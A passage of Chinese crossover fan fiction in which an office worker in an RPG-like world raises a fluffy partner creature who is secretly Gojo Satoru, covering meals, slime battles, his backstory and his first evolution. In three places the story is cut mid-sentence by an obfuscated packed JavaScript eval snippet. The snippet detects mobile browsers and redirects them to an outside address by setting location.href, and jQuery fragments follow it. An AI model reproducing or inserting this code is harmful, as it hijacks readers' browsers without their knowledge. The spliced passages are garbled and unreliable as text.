……还以为是得到了一只任她捧在手心搓拿揉捏的可爱小玩具,现在感觉像是接了只小祖宗回家,还要好好伺候的那种。 * 社畜回到住处,把小团子摆在自己的长桌上。 “叫你什么好呢?飒团?球球飒?飒绒绒?”社畜绞尽脑汁地想给眼前的小团子起一个宝可梦式的名字。 引导员说她的初始伙伴是她从未见过的品种,她也不知道该叫什么,怎么进化。 小团子只是睁着一双水汪汪的蓝眼睛看她,没有什么动作和表情,也不知道听懂了没有。 阳光照进来,小团子的绒毛末端泛起柔和的光晕,变得透明又闪亮,看起来既蓬松又温暖。 怎么能这么可爱啊!怎么看怎么喜欢。 社畜忍不住把小团子捧在手心,嘿嘿笑着,想用脸颊去蹭一蹭它的绒毛。 这下小绒球不干了,它“飒!”地一声炸了毛,从社畜的手中跳了下去。 社畜低头看它,它的眉头皱起,眼睛变成凶狠的倒三角形状瞪着她,全身的绒毛都直立起来,像一根根细小的银针,整只团子变成了一只小刺猬,嘴里也呲出细密的尖牙,恶狠狠地看着她。 ……好,好凶! 但社畜顶着它,却突然很不合时宜地想起了她最开始召唤出来的那个神秘少年。 大概……或许……并不是她多想了吧……难道那个少年……就是面前的这个白色绒毛团子吗? 社畜艰难地咽了口口水,胆战心惊地戳了戳它的小尖刺。 指尖传来真实细密的触感,她小声地开口问道:“奇犽?” 小毛团毫无反应。 “你是人吗?是的话‘飒’两声,不是的话‘飒’一声。” 心情逐渐平复,小团子的毛慢慢地软化垂落下去,恢复蓬松柔软的状态,但是它一声不吭,只是继续用毫无波澜的眼神看着她。 社畜尴尬地干笑了两声。 果然是她想多了! 一个活生生的人变成了行动不便的小团子的话,不管怎么想都会努力传达“自己是人”的信息,想办法求助别人恢复原状的。 应该是要随着剧情的发展,才会慢慢遇到她最开始召唤出来的白发小男孩,不管他是不是奇犽,他一定也在哪个地方,刚刚领到自己的初始伙伴,正在一起慢慢地升级进化吧! 说不定他和她还是将来要对战比拼,一较高下的宿敌呢! 11. 伙伴悟 社畜很想和小团子玩上一会儿亲近感情,但是想不到小小一颗毛球竟然能散发出与外表强烈不符的“生人勿近”气场,非常抗拒社畜的亲近。 它只是保持着距离,拿那双蓝汪汪的眼睛冷漠地观察她。 社畜倒也不在意,日头还很长,她摸了摸肚子,突然觉得有点想吃东西。 ……神奇,总觉得已经很久没有感受过饥饿了。 这个古朴的小村庄里总是飘荡着团子和茶的香气,香味的来源是位于村庄正中心的集会所,社畜刚刚去过,很清楚在哪个位置,只是—— 没有钱啊。 她苦恼地把家里翻了个底朝天,杂物很多,金灿灿的可爱钱币倒是一个都没有。 没关系,这毕竟是个RPG游戏,根据在上个世界的经验,是RPG游戏也就意味着—— 社畜把小毛团塞进有很多口袋的背心,鬼鬼祟祟地跑到木屋背后。 这里果然堆放着很多陶罐,古朴地印着如出一辙的花纹。 社畜抱起陶罐晃了晃,满意地听见了金币碰撞的声音。 她深吸一口气,摆正姿势,非常具有RPG游戏主角气魄地把陶罐用力地砸向地面—— “啪!” 在一声爆裂的脆响之后,躺在陶片中间的是几枚亮晶晶的金币。 社畜大受鼓舞,接连砸了好几个罐子。 小毛团子一开始还好奇地探出头来看她想做什么,被砸罐子的声音吓得炸了一次毛,后来像是被社畜的行为无语到了,冷冷地撇开眼,往她背心口袋的深处钻,努力装作自己不存在,更不是这个社畜的同伙。 社畜带着一裤兜叮当作响的金币,抱着她的小团子过去,在集会所长长的木制吧台前坐下。 门口的阴沉男子还在翻着登记册,不知道究竟在记录些什么东西。 茶点铺的店员竟然都是毛茸茸的小兔子,它们把长长的耳朵用发带竖在了头顶,即使这样,动起来的时候还是一晃一晃的,社畜忍不住盯着看了好久。 “吱——”一只系着围裙的小兔子蹦蹦跳跳到了社畜面前,柔软的肉垫啪嗒啪嗒地踩在地板上,小爪子给她递上一张纸。 微微泛黄厚实的纸上用彩色水墨手绘着一串大大的三色丸子,旁边画着一杯袅袅冒着热气的茶。 这里的菜式非常简单,只售卖三色团子和茶而已。 下面用小小的图案,生动形象地告知顾客可以选择撒黄豆粉或者淋上甜咸的酱,也可以选择把团子用炭火烤制一下,变成微微焦香的风味。 更可爱的是,在菜单的空白处还画了好几只Q版的小兔子,有的背后冒起火焰,有的眼冒金光,有的举起一只不成比例肌肉夸张的胳膊,得意洋洋地炫耀。 “……是说,吃了你们的团子,会变强壮吗?”社畜好奇地指着菜单问。 “吱!”小兔子自豪地大力点头,柔软的耳朵跟着一起一伏。 未免也太棒了吧! 社畜非常保守地点了原味三色团子,几只兔子熟练地流水线分工合作,转瞬之间,社畜的团子和茶就摆在了她的面前。 “吱!”兔兔端正地站好,礼貌地鞠了一躬,像是在说“请用”。 社畜也期待地双手合十:“我开动了!” 闻见香气,社畜背心里的小毛团又好奇地探出头来,看起来还有点蠢蠢欲动。 只是抬起那双平淡无波的眼睛,看见社畜正低头看它的时候,它又迅速缩了回去。 ……感觉不是特别坦率的性格,有点高冷。 社畜咬下第一颗粉色的团子,软糯香甜的口感在唇齿间化开。 “要吃吗?”她嘴里嚼着团子,晃着手中的竹签,声音含糊不清地问它。 小毛球却矜持地挪开了视线。 社畜把第二颗白色团子从竹签上取下来,摆在碟子里,推到毛团的面前,邀请它来品尝。 白色毛团全身的绒毛都变得柔润有光泽,闪闪发亮,让社畜觉得它似乎有点兴奋,又不太确定,因为只从表情看起来的话依然相当冷淡。 它“啪叽”一声蹦跳着到了桌子上,张开嘴,用力一咬—— 然而以它的大小并不能把团子一口塞进嘴里,尽管它的牙齿还算尖利,但是糯米团子毕竟还是足够结实有柔韧度,小小的力气撕咬不开。 社畜就这么看着桌上一个稍大的白色毛团艰难地叼着一个白色糯米小团子,咬不动,撕也撕不下来,眼看着糯米团子就要掉到桌子上—— 毛团子的嘴里发出一连串不甘的“嘶嘶”声。 社畜伸手相助,一根正义的竹签精准地扎住了摇摇欲坠的糯米团,帮助小毛团使力。 小绒球嘴里发出用力的嘶嘶声,猛地一扯,把团子拉扯得变形成长长一细条,在空中拉出一道白色的弧线。 小毛团再用力一拽,才终于扯下了一块。 终于成功了,小毛球脸上总算出现了点表情,它眯起蓝色的眼睛,恶狠狠地大嚼特嚼,仿佛这团糯米是什么罪大恶极的敌人,让它丢尽了脸面,全身的绒毛随着咀嚼一颤一颤。 社畜也细细地品尝了一下自己嘴里的团子。 ……唔,多嚼了几口之后,感觉还是有些过于甜腻了,粘稠的糯米黏在牙齿和口腔里,口感也让人难受。 喝了口略带苦涩的热茶,稍微化解了口中的甜腻,社畜才感觉嘴里舒服一点。 再一看小毛球,它罕见地急得在“嘶嘶嘶”地叫着,一根根绒毛都炸起来了,似乎也不喜欢刚刚入嘴的食物,社畜瞬间明白它的意图,对它指了指碟子。 它犹豫了一下,转动着身子在桌子上四处张望了一圈,最终还是无奈又费力地把嘴里软塌塌的一团糯米吐了出来。 爱干净的小毛球连从自己嘴里吐出来的东西都很嫌弃的样子,还把刚刚没吃完的白色大糯米团子扯过来遮住。 社畜忍笑,捏起它放在了茶杯边缘,小毛球埋头喝了几大口,终于满足地抬起头,发出“飒——”的一声长叹,炸开的绒毛终于柔顺地垂了下来。 社畜笑眯眯地看着它。 它的蓝眼里闪过一丝不易察觉的恼怒,眨了眨眼,又恢复面无表情的样子,跳下茶杯,装作什么都没有发生,默不作声地回到社畜背心里,非常坏心眼地用社畜的衣服擦自己毛上沾到的水。 社畜:“……” 算了,因为长得可爱,社畜可以原谅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156189|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的一切可恶行径。 社畜也把剩下的最后一颗绿色团子悄悄放回碟子,刚一抬头,那只一直在负责接待她的兔子就凑到了眼前,红宝石一般的双眼闪烁着水光,楚楚可怜地看着她。 “吱?”兔子歪了歪头,像是在问她不喜欢吃吗。 “对我来说有点太甜了……”社畜带着歉意排出几枚金币。 兔兔用双手捧走了一枚,转身离开,只留给社畜一个失魂落魄的背影,长长的耳朵失意地耷拉下来,垂头丧气地把金币放回一个盒子里。 嗷——社畜收起剩下的金币,摸了摸鼻子,心里满是负罪感。 “你吃吗?”她犹豫了一下,把毛团揪了出来,捧在手心里问它。 小毛团湛蓝的眼睛非常不客气地斜了她一眼,慢慢地背过身去,摆明了拒绝,不管社畜再怎么戳它,都不肯回头了。 “真的不吃吗?有这种,这种,和这种功效诶,吃了会变强哦。”社畜把菜单举在它的面前,指尖点点上面画的那些眼睛冒光,背后冒火,突然长出了强壮肌肉的小兔子,好笑地觉得这个小绒团子和图片上的兔子也没有什么区别。 小毛团的视线跟着她的手指移动,看完之后毫不犹豫地把脸埋进她的手心里,对于不喜欢吃的东西是一口也不愿意再尝试。 社畜抬眼看这里的其他客人,有很多都是带着自己的“伙伴”来吃的,明显是要去战斗或者出任务的装束,自己吃一串,小动物也吃一串。 真的有奇效吗?社畜细细感受了一下身体的变化,不知道是不是心理作用,好像是有点类似于喝了咖啡之后的那种兴奋感。 ——这个世界的社畜也会像驴给自己抽鞭子一样自费买“咖啡”来压榨自己的吗?真是天下大同啊。 * “诶,社畜,你也来吃团子呀?”熟悉的声音从背后传来,笑眯眯的新手引导员像是突然从地里冒了出来,出现在她的旁边。 “嗯。”社畜点点头,把她的小绒球收回背心口袋里。 引导员的手肘撑在桌面上:“这些团子并不是什么用来果腹的普通食物,通常是我们在战斗之前食用的,可以在短时间内提高战斗力。” 社畜严肃地点了点头,这么高糖分的东西,科学来讲,感觉确实能高效地提供很多能量。 “为了不浪费团子限时加成的功效,要不要现在就去野外对战试试看?” ……啊。 社畜为难地看向自己胸前的口袋,毛茸茸的小球也探出一双眼睛看她。 她还没有和小毛团子好好地增进感情,互相了解,连它有什么技能都不知道,就要去对战了吗? “没事的,”引导员露出一个让人安心的笑容,“第一次对战的话,可以试一试村庄门口的史莱姆,它们其实就是为了给新手练习而特地放养在那里的,等级不高,攻击力也几乎没有,虽然经验少了点,但是很适合作为第一次对战的练习呢。” 似乎确实没什么危险,加上社畜确实也很好奇小毛球的技能,她感激地点了点头:“好的,我们现在就去试试看!” “飒——” 口袋里的小毛球发出一句闷闷的声音,听起来并不怎么期待。 12. 伙伴悟 村子门口仿佛有什么不得了的结界,明明只是普普通通的一道门,外面的魔物就真的一步也不敢踏进来。 穿过门的瞬间,兜里的小毛球突然探出头来,困惑地回头看了一眼身后的大门。 “怎么了?”社畜随手戳了戳它的脑袋。 白色绒团非常不爽地缩到口袋底端,用行动对于社畜总是随随便便戳它头这件事情表示不满。 社畜也回头看了一眼,破烂不堪的木门,仿佛用力一推就会散架,门口也没有守卫,就这么大门敞开,没有任何防护措施。 看起来是非常温馨平和、与世隔绝的一个小村庄。 没有什么特别之处嘛。 * 就在村口的草地上,如同引导员所说,有很多半透明的史莱姆,在地上蹦蹦跳跳。 离近了,还能听见DuangDuangDuang的水波震荡声,像蹦跶着的果冻,非常Q弹。 社畜欺软怕硬地找了个行动迟缓、看起来最好欺负的史莱姆,把不情愿的小毛团从兜里揪了出来,拍拍它毛茸茸的脑袋。 “去吧!绒绒飒!” 什么烂名字啊,白色小毛团顿时炸毛,仰头面无表情地瞪她。 社畜不为所动。 名字是她随便叫的,毕竟她向来不擅长取名,也很难记住别人的名字,所以随便喊一个就行。 社畜目光热切地看着小绒球,心里暗暗祈祷它的技能简单易懂,不需要她帮忙取什么酷炫的招式名字。 最好就直白地叫做什么“撕咬”、“爪击”或者“翻滚”好了。 但出乎社畜的意料,小绒团子只是默默地转过身来,平静又无言地看着她。 社畜:“嗯?” 小绒团子:“……” 一人一球在这里大眼瞪小眼看了半天,社畜突然灵光一闪—— “难道说,你根本不会攻击技能?” 白色绒球沉默了片刻,最终眨了两下眼:“飒……” 很是不情愿地承认了。 啊……确实偶尔也会有这样的存在呢。 社畜若有所思地点点头。 比如说只是防御或者闪避特别高而已,要么就是根本不会被用在战斗中的辅助类或者生活类精灵,或者说……要进化了之后才能有战斗力的突破。 “唔……有没有可能,你只是不能控制自然元素而已,或许你擅长的地方是物理攻击也说不定!要不要去试试咬一咬这只史莱姆呢?”社畜蹲在地上,语重心长地鼓励它。 小绒团子没有说话,也没有任何做出尝试的举动,只是冷静地凝视着社畜。 ……看来是不愿意的。 * 实则就是五条悟的小白毛球,此刻与其说是沮丧,不如说是困惑。 上一秒他还和家庭教师并排走在庭院里,下一秒他就进入一个一片全黑,却摆放着现代化家具的世界。 和这个女人匆忙地对视了一眼,然后就来到了这个世界。 不但变成了这副让人瞧不起的弱小模样,连自己的咒力都像是从来就没有存在过一般,消失得一干二净。 若说这个世界没有一丝咒力也就罢了,偏偏他的六眼还在。 于是他发现,在某些人类,以及在所有被叫做“精灵”或者“伙伴”的神奇生物身上,都有着远超普通人水平咒力的痕迹。 要说有什么奇怪的地方的话,就是这里竟然连食物中也带有咒力,大概也正是因此才有强化的功效吧。 ——可惜料理水平实在让人不敢恭维。 而刚刚在穿过村子大门的时候,他甚至鲜明地感受到了结界的存在。 这个世界究竟是怎么回事? 面前这个自称“社畜”,一看就用的不是真名的女人究竟是什么来头?有什么目的? 要说她是又一个不知天高地厚的诅咒师,妄想解决掉他的话,这根本不是诅咒师的作风。 咒术师的世界是一个存在着鲜明等级压制的世界,再花里胡哨的术式和领域,也可以用实力强行突破。 另一方面,攻其不备又是最有效的战术,毕竟如果一开始就没有通过咒式公开增强实力的打算,那么拖得越久,暴露的信息就越多,在一开始剥夺他全部咒力的时候,她就应该动手了。 偏偏什么也没有发生。 更何况……她看起来,根本不知道他就是五条悟。 还是说,她不过是个咒力微弱到几乎没有办法被感知的普通人而已,和自己一样,莫名其妙地陷入这一困境,也在想着办法脱困? 敌人在暗,目的不明。 五条悟所接受的训练和他自己的战斗经验让他深刻地认识到,无论面对什么样的对手,情报是战斗的关键。 在不确定自己有着绝对的实力优势之前,轻举妄动不是明智之举,最好是按兵不动,冷静观察。 可是这个社畜小姐却毫无芥蒂地马上接受了一切,就像在玩游戏一样乐在其中,做出砸罐子找金币这种莫名其妙的事情,还迫不及待地去尝试可疑的食物—— 虽然他自己也忍不住尝了一口。 现在回想起来,那股甜腻不自然的香精味还挥之不去。 啊……还是赶紧想办法出去好了。最重要的是,他真的不想再吃这种奇怪的东西了。 * 社畜饶有兴致地打量着眼前这只毛茸茸的小团子。 一开始它还装作听不懂人话,现在倒是愿意沟通了,但是嘛……依然是个非常有个性的小家伙。 即使它一点忙也帮不上,是一块只有长得可爱这一个优点的废物小点心,它也没受到多少打击的样子,既不沮丧也不害羞,眼神平静,非常泰然自若地与社畜对视。 “我们果然很合拍呢……”社畜开心地摸了摸它的头。 小绒球又炸毛了,用莫名其妙的眼神看着她。 社畜后知后觉地发现,她的伙伴……好像很讨厌身体接触。 社畜摸着即使炸毛也毫无攻击性的小毛球,陷入了沉思:“怎么办呢……如果没有办法对战的话,要怎么升级呢……等下!” 她倏地睁大了眼:“既然我们是队友,如果我打败了怪物,会不会你也能获得经验值呢?” 小毛球也跟着睁大了眼。 ——这个女人对于现实未免也接受得太快了吧! 想到就干,社畜顺手抄起一根树枝,站在史莱姆面前,扎好马步,气沉丹田—— “喝啊!” 树枝高高劈下,懒洋洋趴在那里的史莱姆瞬间被砸出一个深坑,从中间凹了下去,像装满水的气球一般爆开,瞬间化作地上的一摊水渍。 空中飘出一行字:【经验+1】 “果然是这样啊!”社畜兴奋地举着树枝欢呼。 找到了替代方案让社畜大受鼓舞,一连干掉了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156190|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只史莱姆,劈砍挑刺,连招顺滑,把一根普通的树枝挥舞得虎虎生风。 五条悟心情复杂。 ——所以说,究竟谁是训练师,谁是小精灵啊?! “哈!感觉怎么样?”社畜擦了擦额头的汗水,低头问自己背心口袋里的小绒球。 这里的史莱姆不会爆出粘液,死后都化作了经验和浇灌草地的清水,在社畜积极的刷怪行为下,这片草地已经泥泞不堪,视线所及之处已经没有任何史莱姆了。 但是小白绒球只是沉默地摇了摇头,除了等级提升以外,没有任何感觉。 “嘛,有可能你就不是升级进化的类型呢,”社畜想起引导员叮嘱要关爱自己伙伴的身心健康,依然非常积极地鼓励它,“不如先回村子里问问引导员好了。” * 引导员竟然就站在村子门口等她。 “怎么样?”她关心地问道,“你的初始伙伴有什么技能呢?” “好像没有技能,”社畜不好意思地挠了挠头,“也不是升级进化的类型。” “啊……”引导员拉长了音调,一边沉思一边点头,“确实也有这样的情况,要不要尝试一下亲密度升级?或者去寻找一下升级的道具?” 她们说话的时候,小绒球就趴在口袋里,静静地听着。 社畜思考了一下,小绒球感觉是非常不亲近人,疏离又警惕的性格,看起来就不是会因为心意相通就进化的类型,想要和它变得亲密也有点难度。 “那个……进化道具是什么呢?” 社畜果断选择了第二种解决方案。 引导员伸出手指,指向村外:“看到那座雪山了吗?在山顶有一座神庙,通过试炼的话,可以得到一块进化石。” 社畜眯着眼睛往远处望去,确实有一座雪山。 “当然,如果不想跑那么远,也可以在村里的杂货店花钱买,就是价格非常、非常昂贵就是了。”引导员笑眯眯地补充。 “那我先去杂货店看看。”社畜抬腿要走。 “等下,”引导员拦住了她,贴心地解释,“其实呢,也不是一定要死守初始伙伴的,想要尽快获得成品的话,可以去野外捕捉新的、更好用的精灵。” “诶?”社畜来了兴趣,“怎么捕捉,是不是用那种,这样的,精灵球,往它们头上这么一丢?” 社畜生动地比划出一个小球的大小,挥臂示范潇洒的抛球姿势。 这个时候,小毛球才从口袋里钻出来,抬头扫了一眼社畜的表情。 “想什么呢?”引导员笑着摇头,“哪有那么麻烦,看见喜欢又打得过的,直接揍晕了带回家就行啦,实力不如人就要被收服,都是这样的。” ——不要用这么温柔的语气和表情说着这么野蛮可怕的话啊! * 社畜停在杂货店面前,看了一眼店里木板上标明的价格。 然后,她非常穷酸地避开店员热情好客的视线,低调地走了。 当天,村子里的所有陶罐都惨遭毒手,收集的金币哗啦啦在桌子上堆成一座小山,依然远远不够买下一块珍贵的进化石。 而且之前被砸碎的陶罐也没有再刷新。 “可恶啊……看来只能去一趟神庙了……”社畜瘫倒在桌上,郁闷地长叹。 “飒——” 桌上的小绒球跳到了社畜的手臂旁边,湛蓝的双眼里闪烁着意味不明的光芒。 13. 伙伴悟 “嗯?你有什么话想说吗?” 尽管小绒团不喜欢她这么做,社畜还是忍不住戳了戳它。 “飒。” 五条悟对于被无端戳戳点点的行为非常不爽,但现在的他不过是一个轻飘飘的毛团,也无心和她在肢体接触这种小事上纠缠,只是在心里“啧”了一声,就克制住了情绪,试图体面地用肢体语言表达自己的想法。 他“扑通”一声仰面躺倒,摆出一副奄奄一息、了无生气的样子,然后跳起来,用眼神指了指门。 【我现在太弱了,你再去捉只别的精灵吧】 这或许并不是他想要的结果,却是他认为正确的事情。 他总是在做正确的事情。 训练、实战、研究该如何变得强大……偶尔溜出去放松,但一定会在一个不至于造成麻烦的时间内回去。 他和自己生理上的父母感情淡薄,一年也见不了几次面,即使偶尔见面了对他也是惶恐又恭敬的样子,他不觉得有什么不对。 归根结底是他们作为咒术师过于弱小,不被允许参与他的教育和成长,不宜与他产生过多的联系。 强者才能通吃,他目前所拥有的一切以及受到的宠爱,所有的认可与资源,都是基于他的实力与潜力,弱者只能被抛弃和寻求强者的保护。 从家庭、家族再到整个社会,都是这个法则。 * 看完小毛球的动作,社畜却露出了愤慨的表情:“你竟然说你想在家睡觉,让我自己一个人去神庙?!” 五条悟:“……” 他左右摇了摇表示否定,一时也想不出还有什么表达方式,蓝眼沉静地看着社畜。 ——麻烦社畜小姐偶尔也和他对上一次电波吧。 社畜慢慢地把下巴靠在手臂上,离他更近了一点,她若有所思地观察了他一会儿,歪了歪头,问:“你不会是想让我抛弃你,去捉别的小精灵吧?” 差不多是这样没错。 五条悟松了口气,点了点头。 倒也不是要她抛弃他,只是如果说这个世界的法则正如这位社畜小姐所深信的那样,要培育伙伴进化才能通关出去,那么换一个更有实力也更好进化的精灵培育是最好的方式。 他冷静地分析着。 偏偏社畜语气难以置信:“为什么啊?明明今天看你也没有被自己弱小的战斗力打击到,怎么突然就想让我换只小精灵了。” 对于一个没有四肢也无法使用语言的小毛团而言,要回答清楚这么复杂的问题简直是个不可能的任务。 更何况他从未觉得自己弱小,这个词语向来与他无缘,毕竟他是五条悟。 目前的情况,不过是他被限制在了一个暂时有点麻烦的困境之中。 这种事情虽然不常见,但也不是没出现过。 固然所有人都理所应当地觉得他将成为五条家的支柱,笃定地坚信他会成为最强。 即使每天都接受各种训练,又处于五条家的严密保护之下,除了那些他不屑入眼的杂碎,依然偶尔会有一时难以处理的情况。 但也只不过是有点麻烦罢了,最后都解决了,没有人可以挡在他前行的路上。 并不是有着成为最强的潜力,他才是五条悟,而是因为他是五条悟,所以他一定能够成为最强。 和社畜再在这个问题上纠缠下去也很蠢,五条悟眨了眨眼,准备缩回他的角落。 “战斗力强不强这种事情,根本不重要嘛,不管怎样我都很喜欢你呀,这是我们之间的缘分。” 社畜轻轻摸了摸五条悟的头,人体肌肤的温暖几乎覆盖住他整个身体,暖洋洋的。 五条悟瞬间僵住了。 因为现在的身体太小,所以仅仅是一只手而已,却让人没来由地觉得宽厚广大,让人感觉自己被好好地收留和保护。 五条悟皱了皱眉,这种软弱的情感,让他觉得不适。 说着不知天高地厚动摇大厦根基的暴论,却用着这种轻飘飘理所当然的语气,也让五条悟莫名地不爽。 该说她是无知,还是幸运呢? * ——族里的长辈端坐在前方,眼神恭敬而谦逊:“我不能说可以教导您什么,只是分享一些战斗的经验罢了,您是没有任何人可以并肩的、我们都无法想象和理解的强大,更多的……也只能靠您自己去思考和研究,强者的道路总是孤独的。” ——家庭教师娓娓念诵着:“云天豁然朗……少爷?” 五条悟百无聊赖地在用撕下的书页折纸。 但老师只是顿了一下,无奈地问:“今天想学什么?” 完全是顺着他的意思,想学什么就学什么的架势。 五条悟鼓起脸颊,捏着折好的纸飞机,用力一抛,看它优雅地在空中划出一条平稳的弧线:“唔,昨天讲的那个五条家和禅院家御前比武的故事还算有趣。” “……那我们今天就来讲讲石田三成的故事吧。” ——“恭喜!”管家脸上露出欣喜的表情,笑眯眯地看着他,“少爷能持续维持无下限的时间,已经提升到六个小时了。” ——“最近的进度不错,”严肃的家主脸上露出少见的笑容,随即话锋一转,“但是一刻也不能松懈,还得继续变强啊……” ——拐角后面依稀传来压低嗓门交谈的声音:“别再哭了,小心被抓去责罚。” “可是,可是律,律他,为什么啊……少爷的命就该比普通人珍贵吗?” “说什么傻话呢?”声音变得严厉,其中似乎还有一丝复杂的同情,“还不是自己不够强大,怨不得别人。” 五条悟站在走廊上,神色平淡地听完这一切,没说话,也没做任何动作。 ——五条悟身边的仆从会定期更换,新来了个年龄相仿的佣人,似乎是什么旁系的孩子,咒力微弱到几乎等于普通人,五条悟一时兴起邀请他溜出去玩,劝说得有点不耐烦了:“都说了不会出事的!” 他还是战战兢兢地跪在他的面前,已经带上了哭腔:“请您不要为难我了……我,我……”他颤抖的嘴唇努力想挤出完整的话语,可光是想象可能的后果,就已经让他恐惧到无法言语。 ……搞什么啊,他又不会吃人。五条悟无聊地挪开视线。 但这个世界自有吃人的地方。 没有人可以教导他,没有人够格保护他,甚至可能没有人对他有毫无功利之心的爱。 只有他坚定的自我和强大的实力,是稳固不变的。 然而,为什么呢?为什么明明是这么认为的,似乎是“胸口”的地方,却传来一阵刺痛,想要变强的欲望前所未有地强大。 是因为那个女人吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156191|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 社畜还在浑然不觉地列举:“你不咬人,不掉毛,也没有爪子可以抓坏家具,也不乱上厕所……” 五条悟猛地睁大了眼,等下,这个魔女分明只是在把他当做宠物来看待吧?! 为什么,有一团带着暖意的光芒,正在从胸口慢慢膨胀—— 五条悟的觉悟来得有点晚,他胸口的光芒已经越来越盛,很快就到了连社畜也发现的程度。 “欸?这是怎么回事……”她惊讶地看着五条悟,手足无措地不敢接近也不敢触碰。 光芒完全笼罩住了五条悟,除了胸口怒火中烧,全身其他地方都酥酥麻麻暖洋洋的,他感觉自己的身体正在起着剧烈的变化—— 光芒散去。 原来是滚圆形状的小毛球不但变大了一圈,还长出了一对尖尖的耳朵,和一条毛茸茸的尾巴。 依然美貌,依然毫无攻击力。 “可爱!”社畜尖叫着扑过来抱他。 五条悟敏捷地躲开了。 他发现新形态的自己并不是毫无用处的,至少他现在可以悬浮在空中,躲避社畜的袭击也就更加灵活。 “完全就是一只猫猫球嘛,喵喵兽。”扑了个空,社畜依然笑眯眯的。 又在乱给人起外号了,五条悟抖了抖耳朵,冷冷地张嘴,发出的声音却是:“Toru……” 社畜睁大了眼:“果然是进化了,原来是‘飒’,现在进化之后,是叫Toru兽吗?” 猫猫球:“Toru Toru——” 【为什么就不能尝试连起来读呢?是悟(Sa—to—ru—)】 社畜毫无察觉,不管是对于这三个音节能组合而成的那个名字,还是对于五条悟现在气愤的情绪。 “感觉进化之后话也变多了,”社畜若有所思地摸了摸下巴,“不会真的是亲密度进化的类型吧?亲密度为什么提高了?是因为我说了喜欢你然后又夸你乖吗?” “TORU!” 【当然不是!】 五条悟拿眼睛瞪她,决心从现在开始冷战,直至社畜承认她的错误。 粗线条的社畜完全不知道五条悟正在恼羞成怒,一股困意袭来,她用手拢了拢桌上的金币,有点苦恼明天要怎么带着这么多金币上路。 ——“这个游戏,简陋到连个背包系统都没有的吗?” 社畜心里冒出了另一个白发蓝眼青年的声音。 等下……他叫什么名字来着?明明就在嘴边,为什么想不起来了…… S……还是Go什么的来着? 自己果然还是一如既往地不擅长记别人的名字啊。 社畜苦恼地咬着下唇,却突然感觉到,这个世界也是有背包系统的。 ——“说实话,要非常迟钝才会察觉不到,这里一切剧情和环境的发展,都完全随着社畜小姐的想法和意志来呢。” 可恶,脑子好痒,感觉要想起什么了。 旁边的五条悟突然压下耳朵,瞳孔倏地紧缩,全身的毛不受控制地竖起—— 在这一瞬间,他久违地感受到了自己身上的咒力。 但这一切仿佛不过是一个错觉,很快咒力又消失了。 五条悟迷茫地眨了眨眼,即使在六眼的观察下,世界也毫无异常。 刚刚……究竟发生了什么? 14. 伙伴悟 “诶,成功进化成青年体了吗?恭喜!” 翌日,社畜刚迈出门,就猝不及防地遇到了仿佛无处不在的引导员。 温柔的少女看到飘在半空中的新形态的猫猫球,露出了由衷的笑容,开口祝贺。 “诶……那个,请问……”社畜不好意思地挠了挠头,“有没有那种亲密度降低才会进化的类型?” “从来没有过,从理论上来讲也根本不可能。”引导员毫不犹豫地摇了摇头,否认得非常果断。 “这样吗……”社畜若有所思地看向飘在空中的猫猫球,感觉匪夷所思。 从进化之后,猫猫球就一直这样和她保持着距离,也不理会她的任何举动,还故意躲着她。 如果是因为提高亲密度所以进化了,似乎不该是这幅冷淡又高傲的样子。 社畜总感觉亲密度不增反降。 所以昨天晚上,究竟是什么条件让它进化的呢? 不管再怎么回想,她唯一的举动,就是说了“喜欢”,夸它“不咬人不掉毛不抓家具不乱上厕所”,然后它就变成现在这样了。 更何况社畜今天起床之后,为了验证进化条件,本着试一试的态度,追着猫猫球进行了好一番花式表白,从它的瞳色夸到尾巴,外加五六遍“喜欢你哦”的表白,结果猫猫球依然不为所动,甚至看起来反而更反感她,连飘在空中的距离都刻意拉远了一些。 反正……就算进化条件成谜,但好歹有了点进展,目前离成功只剩一步,等她拿到神庙的进化石,大概就可以通关了。 这么想着,社畜干劲十足,在杂货店买齐了东西,还买了一套御寒的大衣与帽子手套鞋子,就这么向着雪山神庙进发。 ——即使引导员小姐盛情邀请,也不愿意在出发前去吃甜腻丸子补充体力,飞快地逃出了村庄。 * 五条悟一开始只是出于“情报收集”的目的才观察社畜,后面……自己也说不上是什么复杂心情,但从他角度看来,社畜是非常神奇的一个人。 不管遇到什么问题,绝不会在不安中原地彷徨,永远挺直腰板地大步前进。 会寻求别人的帮助,但是自己也有很多办法。 就比如现在,社畜已经完全把和他修复关系这种事情抛在脑后,正挥舞着随手捡来的树枝,一边往山顶前进,一边熟练地把路边的小怪一一清理掉。 